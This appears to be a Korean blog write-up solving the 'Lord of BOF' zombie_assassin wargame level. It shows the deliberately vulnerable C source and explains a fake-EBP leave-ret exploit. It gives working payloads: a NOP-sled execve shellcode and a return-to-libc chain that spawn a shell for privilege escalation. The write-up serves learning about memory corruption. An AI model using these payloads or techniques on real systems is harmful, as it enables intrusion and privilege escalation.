/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}


Fake ebp란 leave-ret 가젯을 ret에 넣어 ebp값을 조작하여 원하는 주소로 리턴을 시키는 방법이다.


ret에 leave-ret 가젯을 넣으면 main에서 leave-ret 후 한번 더 leave-ret을 실행하는데,

이 leave에서는 sfp 주소를 가리키는 ebp가 esp로 mov 되어 ebp, esp가 sfp 주소를 가리키게 된다. 

그리고 pop ebp가 되면서 스택에서 값을 ebp로 pop 하므로 esp가 +4가 되어 sfp의 다음인 ret를 가리키게 된다. 또한 ret에서  pop eip, jmp eip를 하면서 ret에 있는 leave-ret가젯을 실행한다. 

이 과정을 한번 더 실행하게 되는데, 현재 ebp는 sfp가 가리키던 주소의 값이 있다. 이 부분이 쉘코드가 있는 부분의 -4 주소여야 한다. 

계속 진행을 하면 mov esp, ebp를 하여 ebp와 esp가 쉘코드가 있는 부분의 -4주소를 가리키고있다. 그리고 pop ebp 후 esp가 +4가 되어 쉘코드가 있는 부분의 주소를 가리킨다. 

이제 ret가 진행 되는데, 현재 esp는 쉘코드가 있는 주소를 가리키는데 이를 pop eip 후 jmp eip를 하게 된다. 이로 인해 쉘코드가 있는 주소로 jmp하여 쉘코드를 실행한다.

먼저 leave-ret 가젯을 구한다.

leave-ret는 0x80484df다


이제 bp를 걸고 인자로 48바이트를 무작위로 넣는다.


AAAA에는 쉘코드가 있는 주소의 -4를 한 부분이 들어가야하고, BBBB에는 leave-ret 가젯이 들어가야 한다.


BBBB 뒤에 NOP와 쉘코드를 많이 넣어야겠다. 내가 사용한 쉘코드 아래와 같다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



NOP코드 앞에 NOP sled를 탈 수 있는 주소를 넣고 leave-ret 가젯을 추가해야한다. nopsled를 탈 수 있는 주소를 찾기 위해 스택을 확인해본다.


0xbffffc0c로 정했다. 이를 추가하고 페이로드를 입력하면 아래와 같다.

이제 core dump로 확인해보겠다.

segment fault 에러가 뜨면서 core dump가 생성되었다.


AAAA에 넣을 값을 찾아보면 

쉘코드로  nop sled를 탈 수 있는 주소-4를 한 주소인 0xbffffbc3을 sfp에 넣어야 한다.

payload = `python -c 'print "\x90"*40+"\xc3\xfb\xff\xbf"+"\xdf\x84\x04\x08"+"\x0c\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


쉘이 따졌다. 

하지만 임의로 생성해 setuid가 없기 때문에 권한상승을 위해 원래 파일에 페이로드를 넣고 오버플로우를 하면 된다.



RTL로 푸는게 더 간단하다.

먼저 RTL에 필요한 주소들을 찾았다.


buf-4 : 0xbffffaa0

system : 0x40058ae0

exit : 0x400391e0

/bin/sh : 0x400fbff9

leave : 0x80484df


원리는 똑같다. sfp에 system 함수를 가리키는 주소의 -4를 하는 주소를 찾아서 넣으면 된다. 페이로드에 AAAA를 먼저 넣었는데, system 함수 전에 AAAA가 있으므로 AAAA가 있는 주소를 sfp에 넣으면 된다. 


RTL payload = buf[40]+SFP[4]+RET[4]

= AAAA+system[4]+exit[4]+/bin/sh[4]+NOP[24]+&AAAA+leave-ret gadget

`python -c 'print "AAAA"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\xa0\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`





'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow darkknight  (0) 2017.08.22

+ Recent posts